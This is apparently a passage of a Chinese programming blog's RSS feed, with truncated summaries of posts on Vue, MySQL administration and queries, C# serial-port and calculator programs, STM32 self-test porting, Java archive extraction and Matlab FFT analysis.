      <guid>https://bchobby.github.io/posts/b440c343c0fc4d556ca58f27281624c2/</guid>
      <description>1.build——[webpack配置]&#xA;build文件主要是webpack的配置，主要启动文件是dev-server.js，当我们输入npm run dev首先启动的就是dev-server.js，它会去检查node及npm版本，加载配置文件，启动服务。&#xA;2.node_modules——[依赖包]&#xA;node_modules里面是项目依赖包，其中包括很多基础依赖，自己也可以根据需要安装其他依赖。&#xA;3.src——[项目核心文件]&#xA;1.accets用来存图片&#xA;2.components用来存组件&#xA;3.router用来配置路由&#xA;4.static页面配置&#xA;4.index.html——[主页]&#xA;一个简单的html页面，这里id=&#39;app&#39;，是为后面的设置vue作用域有关的。&#xA;index.html如其他html一样，但一般只定义一个空的根节点，在main.js里面定义的实例将挂载在根节点下，内容都通过vue组件来填充&#xA;5.components中的.vue文件&#xA;说明：在*.vue文件，template标签里写html代码，且template直接子级只能有一个标签。style标签里写样式，script里面写js代码。&#xA;6.App.vue——[根组件]&#xA;一个vue页面通常由三部分组成:模板(template)、js(script)、样式(style)：&#xA;【template】&#xA;其中模板只能包含一个父节点，也就是说顶层的div只能有一个&#xA;&amp;lt;router-view&amp;gt;&amp;lt;/router-view&amp;gt;&#xA;是子路由视图，后面的路由页面都显示在此处。打一个比喻吧，&amp;lt;router-view&amp;gt;类似于一个插槽，跳转某个路由时，该路由下的页面就插在这个插槽中渲染显示&#xA;【script】&#xA;vue通常用es6来写，用export default导出，其下面可以包含数据data，生命周期(mounted等)，方法(methods)等。&#xA;【style】&#xA;样式通过style标签&amp;lt;style&amp;gt;&amp;lt;/style&amp;gt;包裹，默认是影响全局的，如需定义作用域只在该组件下起作用，需在标签上加scoped，&amp;lt;style scoped&amp;gt;&amp;lt;/style&amp;gt;&#xA;如要引入外部css文件，首先需给项目安装css-loader依赖包，打开cmd，进入项目目录，输入npm install css-loader，回车。安装完成后，就可以在style标签下import所需的css文件，例如：&#xA;&amp;lt;style&amp;gt;&#xA;import &#39;./assets/css/public.css&#39;&#xA;&amp;lt;/style&amp;gt;&#xA;这样，我们就可以把style下的样式封装起来，写到css文件夹，再引入到页面使用，整个vue页面也看上去更简洁。&#xA;7.文件：main.js——[入口文件]&#xA;这个js文件是主页面配置的主入口。主要是利用ES6的模块化引入模板&#xA;main.js主要是引入vue框架，根组件及路由设置，并且定义vue实例&#xA;后期还可以引入插件，当然首先得安装插件。&#xA;8.router——[路由配置]&#xA;router文件夹下，有一个index.js，即为路由配置文件&#xA;我们可以设置多个路由，‘/index’,&#39;/list&#39;之类的，当然首先得引入该组件，再为该组件设置路由。&#xA;说明：如果需要增加组件那就在components文件下定义xx.vue文件并编写代码即可；&#xA;如果需要配置路由就要在index.js进行路由“路径”配置；还需要点击跳转就要用到&amp;lt;router-link&amp;gt;&amp;lt;/router-link&amp;gt;标签了。</description>
    </item>
    <item>
      <title>修改mysql密码的四种方法分享</title>
      <link>https://bchobby.github.io/posts/45870b982d0c6d7b310fe734209d63fe/</link>
      <pubDate>Wed, 14 Jun 2023 14:10:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45870b982d0c6d7b310fe734209d63fe/</guid>
      <description>快速修改mysql密码的四种方法 方法1： 用SET PASSWORD命令 首先登录MySQL。 格式：mysql&amp;gt; set password for 用户名@localhost = password(&#39;新密码&#39;); 例子：mysql&amp;gt; set password for root@localhost = password(&#39;123&#39;); 方法2：用mysqladmin 格式：mysqladmin -u用户名 -p旧密码 password 新密码 例子：mysqladmin -uroot -p123456 password 123 方法3：用UPDATE直接编辑user表 首先登录MySQL。 mysql&amp;gt; use mysql; mysql&amp;gt; update user set password=password(&#39;123&#39;) where user=&#39;root&#39; and host=&#39;localhost&#39;; mysql&amp;gt; flush privileges; 方法4：在忘记root密码的时候，可以这样 以windows为例： 1. 关闭正在运行的MySQL服务。 2. 打开DOS窗口，转到mysql\bin目录。 3. 输入mysqld --skip-grant-tables 回车。--skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证。 4. 再开一个DOS窗口（因为刚才那个DOS窗口已经不能动了），转到mysql\bin目录。 5. 输入mysql回车，如果成功，将出现MySQL提示符 &amp;gt;。 6. 连接权限数据库： use mysql; 。 6. 改密码：update user set password=password(&#34;</description>
    </item>
    <item>
      <title>MySQL知识点整理</title>
      <link>https://bchobby.github.io/posts/287ca258a5026facd039c1da070383ec/</link>
      <pubDate>Wed, 14 Jun 2023 12:02:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/287ca258a5026facd039c1da070383ec/</guid>
      <description>目录&#xA;一、数据模型的概念&#xA;1，层次模型&#xA;2，网状模型&#xA;3，关系模型&#xA;二、E-R图的组成要素及其画法&#xA;三.关系数据库范式理论&#xA;1，第一范式&#xA;2，第二范式&#xA;3，第三范式&#xA;四，创建与管理数据库&#xA;1，创建数据库&#xA;2，打开数据库&#xA;3，修改数据库&#xA;4，删除数据库&#xA;五，创建与管理数据库表&#xA;1，创建表&#xA;2，查看数据表&#xA;3，删除数据表&#xA;4，修改表结构&#xA;六，数据操作&#xA;1，数据插入&#xA;2，数据修改&#xA;3，数据删除&#xA;4，删除表数据&#xA;七，数据查询&#xA;1，基础查询&#xA;2，WHERE子句&#xA;3，多表查询&#xA;一、数据模型的概念 1，层次模型 这种模型描述的数据组织形式像一颗倒置的树，它由节点和连线组成，其中节点表示实体。&#xA;2，网状模型 这种模型描述事物及其联系的数据组织形式像一张网，节点表示数据元素，节点间的连线表示数据间的联系。&#xA;3，关系模型 关系模型使用的存储结构是多个二维表格，即反映事物及其联系的数据描述是以平面表格形式体现的。&#xA;二、E-R图的组成要素及其画法 1，实体(entity)是现实世界中客观存在并且可以互相区别的事物和活动的抽象。具有相同特征和性质的同一类实体的集合称为实体集，可以用实体名以及属性名集合来抽象和刻画。&#xA;2，属性（attribute）即实体所具有的某一特性，一个实体可由若干个属性来刻画。&#xA;3，联系（relationship)即实体集之间的互相关系。&#xA;三.关系数据库范式理论 关系数据库范式理论是数据库设计的一种理论指南和基础。它不仅能够作为数据库设计优劣的判断依据，还可以预测数据库可能出现的问题。&#xA;范式按照规范化的级别分为五种，即第一范式（1NF），第二范式（2NF），第三范式（3NF），第四范式（4NF），第五范式（5NF）。在实际的数据库设计过程中，通常需要用到的是前三类范式，下面对它们分别进行介绍：&#xA;1，第一范式 第一范式要求每一个数据项都不能拆分成两个或两个以上的数据项，即数据库表中的字段都是单一属性的，不可再分。这个单一属性由基本类型构成，包括整理、实数、字符型、逻辑性及日期型等。&#xA;2，第二范式 如果第二个表已经满足第一范式，而且该数据表中的任何一个非主键字段的数值都依赖于该数据表的主键字段，那么该数据表满足第二范式。&#xA;3，第三范式 如果第一个表已经满足第二范式，而且该数据表中的任何两个非主键字段的数值之间不窜在函数依赖关系，那么该数据表满足第三范式。&#xA;四，创建与管理数据库 1，创建数据库 使用CREATE DATABASE或CREATE SCHEMA命令就可以创建数据库&#xA;语法格式如下:&#xA;CREATE DATABASE (数据库名) CREATE SCHEMA (数据库名) 语句中的大小写单词为命令动词，输入命令时，不能更改命令动词含义，但MySQL命令解释器对大小写不敏感，所以输入命令动词时只要词义不变，与大小写无关。&#xA;DEFAULT:指定默认值&#xA;CHARACTER SET:指定数据库字符集&#xA;COLIATE:指定字符集的校对规则&#xA;2，打开数据库 创建了数据库之后，使用USE命令可指定当&#xA;语法格式如下：</description>
    </item>
    <item>
      <title>上位机C#设计制作简单计算器程序</title>
      <link>https://bchobby.github.io/posts/7f4c35870bc9d038761d23562b4103e4/</link>
      <pubDate>Wed, 14 Jun 2023 10:45:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7f4c35870bc9d038761d23562b4103e4/</guid>
      <description>目录&#xA;1设计要求&#xA;根据老师要求具体界面如下&#xA;（1）设计一个四则运算计算器&#xA;（2）通过计算器界面上的按钮输入计算数据，支持整型和小数输入&#xA;（3）可以进行加、减、乘、除操作&#xA;（4）支持退格(删除输入框内的最后一个字符)、CE(清空输入框)、C(清空输入框并重置计算器)&#xA;（5）有一个历史记录文本框，可以显示计算过的内容&#xA;2代码内容具体如下&#xA;1先设置声明&#xA;2退格&#xA;3+号组件&#xA;4-号组件&#xA;5*号组件&#xA;6/号组件&#xA;7.号组件&#xA;8数字组件每个数字更改里面数字即可&#xA;9全部清空&#xA;10等于号组件&#xA;总结&#xA;代码仅供参考 在老师指导下完成的一个简单的计算器代码 有很多不足或者可以说有更简单的代码形式，大家一起学习&#xA;上位机程序设计是一门综合性很强的课程，涉及到了计算机网络、数据库、操作系统等多方面的知识，并且具有较强的实践性。在这门课中，我们首先学习了关于上位机程序设计的基本概念，了解了上位机程序设计与普通应用程序设计之间的区别，以及上位机程序设计与数据库之间的关系；其次介绍了使用C#进行上位机程序设计的基本步骤。通过这部分课程的学习，我们了解了使用C#进行上位机程序设计的基本概念和基本方法，并且能够运用C#进行上位机程序设计。&#xA;在这部分课程中，我们首先学习了关于上位机程序设计的基本概念以及其主要应用；其次介绍了使用C#进行上位机程序设计的基本步骤；最后学习了使用C#进行上位机程序设计中常用到的控件以及常用命令。&#xA;在这一部分中，我们首先学习了关于计算机网络、数据库、操作系统等方面的知识；然后介绍了使用C#进行上位机程序设计中常用到的控件以及常用命令；接着以一个简单的上位机程序为例，详细介绍了使用C#进行上位机程序设计的步骤；最后学习了如何运用C#进行上位机控件开发。&#xA;1设计要求 实现计算器的功能。在“操作数”填写上两个数字，并选择“运算符”，单击“计算”按钮之后，可以在“结果文本框”中显示计算结果&#xA;根据老师要求具体界面如下 （1）设计一个四则运算计算器 （2）通过计算器界面上的按钮输入计算数据，支持整型和小数输入 （3）可以进行加、减、乘、除操作 （4）支持退格(删除输入框内的最后一个字符)、CE(清空输入框)、C(清空输入框并重置计算器) （5）有一个历史记录文本框，可以显示计算过的内容 2代码内容具体如下 1先设置声明 public partial class Form1 : Form { Double Rnum, Lnum, Ans; String flag; 2退格 private void button1_Click(object sender, EventArgs e) //退格 { string old = textBox1.Text;//取得当前的数据 if (old.Length &amp;gt; 0) textBox1.Text = old.Remove(old.Length - 1); } 3+号组件 private void button5_Click(object sender, EventArgs e) { Lnum = Convert.</description>
    </item>
    <item>
      <title>C#的低频卡门禁系统</title>
      <link>https://bchobby.github.io/posts/7c36fa68a5ad97ef33cbd8a1b8217852/</link>
      <pubDate>Wed, 14 Jun 2023 10:38:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c36fa68a5ad97ef33cbd8a1b8217852/</guid>
      <description>目录&#xA;准备工作&#xA;首先我们要设置一个门禁卡的界面&#xA;设置完界面接下来是代码部分&#xA;1主程序要添加一个串口件&#xA;2还要添加命名空间&#xA;3设置串口部分代码还有选项框设置初值&#xA;4打开串口&#xA;5组件发送部分&#xA;6手动接收&#xA;7定时器组件代码&#xA;8写卡&#xA;9注销&#xA;10读卡&#xA;11查卡&#xA;总结&#xA;准备工作 1我们要准备好NewLab实验台并放上M3模块和LF 天线模块 ，把实验台调整到&#34;通讯模式&#34;&#xA;2在设备管理器中查找本机的串口号 ，默认是COM1&#xA;3打开串口调试助手，打开NewLab实验台看是否接收一串数据该数据为随机数&#xA;若测试不成功则有可能是&#xA;1、电脑自带的串口故障&#xA;2、串口线故障&#xA;先将串口线插入电脑后端的RS232接口，然后在串口线的另一头，用导线短接2、3脚，用“串口助手”发送一串数据，看是否能正常接收，若正常则RS232接口和串口线正常&#xA;3、若无法接收，再更换几条串口线测试，以判断是端口坏还是串口线坏。&#xA;首先我们要设置一个门禁卡的界面 1界面样貌如下&#xA;2 然后我们要在编辑器里面输入内容&#xA;端口号“COM1,COM2,COM3,COM4”（其实端口号要看电脑端口号具体是多少）&#xA;波特率添加“2400,9600,19200，115200”&#xA;数据位宽填写“7,8,9”&#xA;奇偶校验“None，Odd,Even”&#xA;停止位“One，Two，OnePointFive，None”&#xA;设置完界面接下来是代码部分 1主程序要添加一个串口件 public partial class Form1 : Form { SerialPort com1 = new SerialPort(); Timer t = new Timer(); 2还要添加命名空间 using System.Windows.Forms; using System.IO.Ports; 3设置串口部分代码还有选项框设置初值 private void Form1_Load(object sender, EventArgs e) { SerialPort com1 = new SerialPort(); String[] port = SerialPort.</description>
    </item>
    <item>
      <title>STM32F10X系列基于标准库——CLASSB库移植</title>
      <link>https://bchobby.github.io/posts/84942153c412fca7058a759ef50ee2bd/</link>
      <pubDate>Wed, 14 Jun 2023 09:58:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84942153c412fca7058a759ef50ee2bd/</guid>
      <description>最近公司在弄一些软件上认证工作，刚好需要到了ST的一个自检库，CLASSB库。就是对MCU的一个自检，启动时、运行时，对MCU的寄存器、RAM\ROM等进行自检，如果不通过，则进入故障函数。在移植CLASSB时，遇到了几个问题，在这里记录一下哈哈~&#xA;是基于STM32F103VC标准库 移植的CLASSB。移植的第一步，先去ST官网下载相关的例程以及相关的说明文档CLASSB - 工具与软件 - Search STMicrocontrollers，我用的是STM32-CLASSB-SPL：&#xA;下载完成后，解压后，安装F1的驱动，自动生成一个例程文件夹，里面有官方提供的一个自测库STM32F10x_SelfTestLib，只需要移植这个库到我们的实际工程即可。&#xA;把这个文件夹的.c文件全部添加到实际工程中：&#xA;1、加载文件的修改&#xA;添加完成后，把例程中的加载文件也加载到实际工程中，并按照实际工程程序的地址进行修改 ：&#xA;按照实际工程的程序开始地址与大小进行修改。将存放FLASH 32CRC检验值的CHECKSUM存放在程序末尾，*.o (CHECKSUM, +Last)。将ST CLASSB库例程中的相关bat中设置的移植过来 2、 CPU启动测试文件修改&#xA;一开始，按照例程中的来运行，发生在Stack pointer (Register R13)这个步骤，会进入FailSafePOR，后面看了一下F4的例程，运行没问题，就直接把F4检测Stack pointer (Register R13)这个步骤的检测代码直接复制过来，神奇的事情发生了，竟然检测通过！！！！！！！这个步骤检测的是MSP指针，其实也可以参考上一个检测PSP来修改。另一种方式就是我上图注释掉的那种方式，把MOVS指令，换成MOV指令，也可以测试通过。具体什么原因MOVS指令不行，我也不清楚，百度了好久都查不出什么原因。。。。。。。。&#xA;3 、系统启动文件修改 根据实际工程需要的启动文件，移植例程相对应的启动文件，我的工程用到的是hd.s，直接移植整个文件即可。&#xA;4 、SysTick_Handler()函数修改&#xA;将例程中SysTick_Handler()的内容全部复制到实际工程的SysTick_Handler()函数中使用。&#xA;5 、调试相关代码修改&#xA;实际工程中没有使用到屏幕，以及串口，将上图所述代码屏蔽掉。&#xA;6 、RAM自检相关代码修改&#xA;这部分自检，需要把RAM的数据全部清0，所以需要先把RAM的数据备份，自检完成后，重新写入。F1的RAM自检运行时，有点问题，后面参考了F4的RAM自检部分代码，下面是RAM自检第一个步骤的代码，其他步骤原理一样：&#xA;ErrorStatus STL_FullRamMarchC(void) { ErrorStatus Result = SUCCESS; uint32_t *p; /* RAM pointer */ uint32_t j; /* Index for RAM physical addressing */ uint32_t RAM_Val = 0; /* ---------------------------- STEP 1 ----------------------------------- */ /* Write background with addresses increasing */ for (p = RAM_START; p &amp;lt;= RAM_END; p++) { /* Scrambling not important when there&#39;s no consecutive verify and write */ RAM_Val = *p; *p = BCKGRND; if ( *p !</description>
    </item>
    <item>
      <title>物联网工程施工STM32芯片的认识</title>
      <link>https://bchobby.github.io/posts/65f9b1ba19a7a79a2638fe9f3db1e912/</link>
      <pubDate>Wed, 14 Jun 2023 09:35:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65f9b1ba19a7a79a2638fe9f3db1e912/</guid>
      <description>目录 前言：一、STM32芯片基础知识（1）STM32芯片的概述（2） STM32芯片的特点（3） STM32芯片的系列和型号 二、STM32芯片在物联网工程中的应用（1） STM32芯片在物联网中的优势（2） STM32芯片在物联网中的应用 三、心得体会 前言： 在如今的互联网时代，物联网技术已经成为新一代互联网发展的重要趋势之一，而STM32芯片则是物联网工程中最为常用的控制芯片之一，其可靠性和稳定性被广泛认可。本文将为您详细介绍STM32芯片的特点、使用方法和应用范围，希望能够帮助您更好地理解和应用STM32芯片，从而更好地开展物联网工程项目。&#xA;一、STM32芯片基础知识 （1）STM32芯片的概述 STM32是意法半导体公司（STMicroelectronics）推出的一系列32位微控制器产品。这些芯片具有高度的集成度、低功耗、高性能和低成本的特点。STM32芯片采用ARM Cortex-M内核，是一种高性能、低功耗的嵌入式微处理器。&#xA;（2） STM32芯片的特点 STM32芯片具有以下特点：&#xA;1.高度集成：STM32芯片集成了微控制器所需的各种外设，如ADC、DAC、PWM、UART、SPI、I2C等。&#xA;2.低功耗：STM32芯片采用了低功耗技术，能够在高性能的同时实现低功耗的运行。&#xA;3.高性能：STM32芯片采用了ARM Cortex-M内核，具有高性能的特点。&#xA;4.低成本：STM32芯片采用了先进的制造技术和晶圆级封装技术，能够实现低成本的生产。&#xA;（3） STM32芯片的系列和型号 STM32芯片有多个系列和型号，包括STM32F0系列、STM32F1系列、STM32F2系列、STM32F3系列、STM32F4系列、STM32F7系列等。每个系列都有多个型号，如STM32F103C8T6、STM32F407ZGT6等。不同的系列和型号在外设种类、内存容量、性能指标等方面有所差异。&#xA;二、STM32芯片在物联网工程中的应用 （1） STM32芯片在物联网中的优势 STM32芯片在物联网中具有以下优势：&#xA;1.高度集成：STM32芯片集成了多种外设，能够满足物联网设备的各种需求。&#xA;2.低功耗：物联网设备通常需要长时间运行，低功耗是物联网设备的重要指标。&#xA;3.高性能：物联网设备通常需要高性能的处理器来完成各种复杂的任务。&#xA;4.网络支持：STM32芯片支持多种网络通信协议，如Wi-Fi、蓝牙、LoRa等。&#xA;（2） STM32芯片在物联网中的应用 STM32芯片在物联网中的应用非常广泛，包括智能家居、智能城市、智能医疗、智能交通等领域。以下是一些常见的应用场景：&#xA;1.温度、湿度、光照等传感器数据采集和处理。&#xA;2.控制家庭电器，如智能灯光、智能窗帘等。&#xA;3.智能安防，如智能门锁、智能摄像头等。&#xA;4.智能交通，如智能车牌识别、智能停车等。&#xA;三、心得体会 在STM32芯片的应用过程中，我有以下体会：&#xA;1.熟悉芯片规格：在使用STM32芯片之前，需要对其规格进行了解和熟悉，包括芯片的引脚布局、时钟频率、内存大小、功耗等。&#xA;2.熟悉编程语言：STM32芯片的编程语言主要为C语言，需要对C语言进行熟悉和掌握，可以借助在线教程和参考书籍进行学习。&#xA;3.利用开发工具：在开发过程中，可以使用STM32CubeMX等开发工具进行开发和调试，提高开发效率和代码质量。&#xA;4.注意硬件设计：在进行物联网设备的硬件设计时，需要考虑STM32芯片的电源管理、引脚分配等问题，保证硬件设计的合理性和可靠性。&#xA;以上就是我在物联网工程施工STM32芯片的知识与应用心得，希望对大家有所帮助。</description>
    </item>
    <item>
      <title>vue3-实现父子组件之间的通信（详解&#43;源码）</title>
      <link>https://bchobby.github.io/posts/4ad3a512c676e0581c110e8955f36a51/</link>
      <pubDate>Wed, 14 Jun 2023 09:18:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4ad3a512c676e0581c110e8955f36a51/</guid>
      <description>前言：vue3相对于vue2的父子传参方式有所改变，本文介绍三种：父组件给子组件传参、父组件调用子组件内的方法、子组件调用父组件的方法，如果不需要一种一种看可以直接下滑看全部代码，有注释也蛮好理解&#xA;一、父组件给子组件传参： 1、父组件给子组件传参时，父组件这边的方式没有改变，还是在子组件上用 :xxx=“要传的参数”&#xA;2、子组件接收时要用defineProps方法来接收，接收时要用父组件定义的那个xxx一样&#xA;3、和vue2一样，在defineProps里面接收到的参数可以直接在html里面使用，相当于已经定义过&#xA;父组件代码： &amp;lt;template&amp;gt; &amp;lt;div :style=&#34;{ border: &#39;1px solid red&#39;, }&#34;&amp;gt; 我是首页，父组件 &amp;lt;Title :parMsg=&#34;myMsg&#34;&amp;gt;&amp;lt;/Title&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;dashboard&#34;, }; &amp;lt;/script&amp;gt; &amp;lt;script setup&amp;gt; import Title from &#34;@/components/title/index.vue&#34;; import { ref } from &#34;vue&#34;; //传给子组件的参数 const myMsg = ref(&#34;我来自父组件&#34;); &amp;lt;/script&amp;gt; &amp;lt;style lang=&#34;scss&#34; scoped&amp;gt;&amp;lt;/style&amp;gt; 子组件代码： &amp;lt;template&amp;gt; &amp;lt;div :style=&#34;{ border: &#39;1px solid green&#39;, }&#34; &amp;gt; &amp;lt;div&amp;gt;子组件组件&amp;lt;/div&amp;gt; &amp;lt;div&amp;gt;父组件传过来的参数：{{ parMsg }}&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { name: &#34;</description>
    </item>
    <item>
      <title>Java解压RAR文件的几种方式</title>
      <link>https://bchobby.github.io/posts/47ab7affb957e1108d2ec570597f5ac5/</link>
      <pubDate>Wed, 14 Jun 2023 03:36:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47ab7affb957e1108d2ec570597f5ac5/</guid>
      <description>第一种： public class fileZipUtil { /** * zip文件解压 * @param inputFile 待解压文件夹/文件 * @param destDirPath 解压路径 */ public static void unZipFiles(String inputFile,String destDirPath) throws Exception { File srcFile = new File(inputFile);//获取当前压缩文件 // 判断源文件是否存在 if (!srcFile.exists()) { throw new Exception(srcFile.getPath() + &#34;所指文件不存在&#34;); } ZipFile zipFile = new ZipFile(srcFile, Charset.forName(&#34;GBK&#34;));//创建压缩文件对象 //开始解压 Enumeration&amp;lt;?&amp;gt; entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = (ZipEntry) entries.nextElement(); // 如果是文件夹，就创建个文件夹 if (entry.isDirectory()) { String dirPath = destDirPath + &#34;</description>
    </item>
    <item>
      <title>【MySQL】SQL的高阶用法</title>
      <link>https://bchobby.github.io/posts/e71362b3c2184255b364ffd8f08ede6a/</link>
      <pubDate>Tue, 13 Jun 2023 23:47:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e71362b3c2184255b364ffd8f08ede6a/</guid>
      <description>文章目录 条件查询使用关系运算符查询使用IN关键字查询使用BETWEEN AND关键字查询使用空值查询使用AND关键字查询使用OR关键字查询使用LIKE关键字查询(模糊查询)使用LIMIT分页查询使用GROUP BY进行分组查询GROUP BY和聚合函数一起使用GROUP BY和聚合函数以及HAVING一起使用 使用ORDER BY对查询结果排序 组合查询(UNION、UNION ALL)别名设置(AS)为表起别名为字段取别名 多表关系表的关联关系数据准备关联查询删除外键的数据交叉连接查询(CROSS JOIN)内连接查询([INNER] JOIN)外连接查询(LEFT | RIGHT [OUTER] JOIN) 子查询数据准备带比较运算符的子查询带EXISTS关键字的子查询带ANY关键字的子查询带ALL关键字的子查询 总结 条件查询 数据准备&#xA;-- 创建数据库 DROP DATABASE IF EXISTS mydb; CREATE DATABASE mydb; USE mydb; -- 创建student表 CREATE TABLE student ( sid CHAR(6), sname VARCHAR(50), age INT, gender VARCHAR(50) DEFAULT &#39;male&#39; ); -- 向student表插入数据 INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1001&#39;, &#39;lili&#39;, 14, &#39;male&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1002&#39;, &#39;wang&#39;, 15, &#39;female&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1003&#39;, &#39;tywd&#39;, 16, &#39;male&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1004&#39;, &#39;hfgs&#39;, 17, &#39;female&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1005&#39;, &#39;qwer&#39;, 18, &#39;male&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1006&#39;, &#39;zxsd&#39;, 19, &#39;female&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1007&#39;, &#39;hjop&#39;, 16, &#39;male&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1008&#39;, &#39;tyop&#39;, 15, &#39;female&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1009&#39;, &#39;nhmk&#39;, 13, &#39;male&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1010&#39;, &#39;xdfv&#39;, 17, &#39;female&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1012&#39;, &#39;lili&#39;, 14, &#39;male&#39;); INSERT INTO student (sid,sname,age,gender) VALUES (&#39;S_1013&#39;, &#39;wang&#39;, 15, &#39;female&#39;); 使用关系运算符查询 关系运算符说明=等于&amp;lt;&amp;gt;不等于!</description>
    </item>
    <item>
      <title>Matlab分析FFT数据，采用录波器记录数据，采样10M/s</title>
      <link>https://bchobby.github.io/posts/7ec1471438f63e069542c9b214f6494d/</link>
      <pubDate>Tue, 13 Jun 2023 23:08:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ec1471438f63e069542c9b214f6494d/</guid>
      <description>xlsread()函数读取.CSV格式的文件；&#xA;num = xlsread(‘C:\Users\guochangfeng\Desktop\有源阻尼\系数9\tek0050CH1.csv’,1,‘B22:B400000’);&#xA;在利用fft()函数对读取的数据进行FFT分析；&#xA;plot(num);&#xA;y = fft(num);&#xA;采样1M；&#xA;fs=10e6; N=length(num); %采样频率和数据点数&#xA;n=0:N-1; %时间序列&#xA;mag=abs(y);&#xA;f=n*fs/N;&#xA;最后在画出频谱分析图；&#xA;length(f);&#xA;length(mag);&#xA;bar(f(10:1000),mag(10:1000));&#xA;% %% 例1：x=0.5sin(2pi15t)+2sin(2pi40t)。采样频率fs=100Hz，分别绘制N=128、1024点幅频图。&#xA;% clf;&#xA;% fs=100;N=128; %采样频率和数据点数&#xA;% n=0:N-1;t=n/fs; %时间序列&#xA;% x=0.5sin(2pi15t)+2sin(2pi40t); %信号&#xA;% y=fft(x,N); %对信号进行快速Fourier变换&#xA;% mag=abs(y); %求得Fourier变换后的振幅&#xA;% f=nfs/N; %频率序列&#xA;% subplot(2,2,1),plot(f,mag); %绘出随频率变化的振幅&#xA;% xlabel(‘频率/Hz’);&#xA;% ylabel(‘振幅’);title(‘N=128’);grid on;&#xA;% subplot(2,2,2),plot(f(1:N/2),mag(1:N/2)); %绘出Nyquist频率之前随频率变化的振幅&#xA;% xlabel(‘频率/Hz’);&#xA;% ylabel(‘振幅’);title(‘N=128’);grid on;&#xA;% %对信号采样数据为1024点的处理&#xA;% fs=100;N=1024;n=0:N-1;t=n/fs;&#xA;% x=0.5sin(2pi15t)+2sin(2pi40t); %信号&#xA;% y=fft(x,N); %对信号进行快速Fourier变换</description>
    </item>
    <item>
      <title>十分钟搞懂MySQL 如何实现四大隔离级别</title>
      <link>https://bchobby.github.io/posts/29eec7fccff9e80422be2eebb0d08311/</link>
      <pubDate>Tue, 13 Jun 2023 19:31:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/29eec7fccff9e80422be2eebb0d08311/</guid>
      <description>脏读、不可重复读、幻读理解 1、脏读：脏读就是指当一个事务正在访问数据，并且对数据进行了修改，而这种修改还没有提交到数据库中，这时，另外一个事务也访问这个数据，然后使用了这个数据。&#xA;例如：&#xA;张三的工资为5000,事务A中把他的工资改为8000,但事务A尚未提交。&#xA;与此同时， 事务B正在读取张三的工资，读取到张三的工资为8000。&#xA;随后， 事务A发生异常，而回滚了事务。张三的工资又回滚为5000。&#xA;最后， 事务B读取到的张三工资为8000的数据即为脏数据，事务B做了一次脏读。&#xA;2、不可重复读：是指在一个事务内，多次读同一数据。在这个事务还没有结束时，另外一个事务也访问该同一数据。那么，在第一个事务中的两次读数据之间，由于第二个事务的修改，那么第一个事务两次读到的的数据可能是不一样的。这样就发生了在一个事务内两次读到的数据是不一样的，因此称为是不可重复读。&#xA;例如：&#xA;在事务A中，读取到张三的工资为5000，操作没有完成，事务还没提交。&#xA;与此同时， 事务B把张三的工资改为8000，并提交了事务。&#xA;随后， 在事务A中，再次读取张三的工资，此时工资变为8000。在一个事务中前后两次读取的结果并不致，导致了不可重复读。&#xA;3、幻读：是指当事务不是独立执行时发生的一种现象，例如第一个事务对一个表中的数据进行了修改，这种修改涉及到表中的全部数据行。同时，第二个事务也修改这个表中的数据，这种修改是向表中插入一行新数据。那么，以后就会发生操作第一个事务的用户发现表中还有没有修改的数据行，就好象发生了幻觉一样。&#xA;例如：&#xA;目前工资为5000的员工有10人，事务A读取所有工资为5000的人数为10人。&#xA;此时， 事务B插入一条工资也为5000的记录。&#xA;这是，事务A再次读取工资为5000的员工，记录为11人。此时产生了幻读。&#xA;4、提醒 不可重复读的重点是修改： 同样的条件，你读取过的数据，再次读取出来发现值不一样了&#xA;幻读的重点在于新增或者删除： 同样的条件，第 1 次和第 2 次读出来的记录数不一样&#xA;5、第一类丢失更新&#xA;A事务撤销时，把已经提交的B事务的更新数据覆盖了。例如： 这时候取款事务A撤销事务，余额恢复为1000，这就丢失了更新。&#xA;6、第二类丢失更新&#xA;A事务覆盖B事务已经提交的数据，造成B事务所做的操作丢失 什么是MVCC？ MVCC的全称是“多版本并发控制”。这项技术使得InnoDB的事务隔离级别下执行一致性读操作有了保证，换言之，就是为了查询一些正在被另一个事务更新的行，并且可以看到它们被更新之前的值。这是一个可以用来增强并发性的强大的技术，因为这样的一来的话查询就不用等待另一个事务释放锁。这项技术在数据库领域并不是普遍使用的。一些其它的数据库产品，以及mysql其它的存储引擎并不支持它。 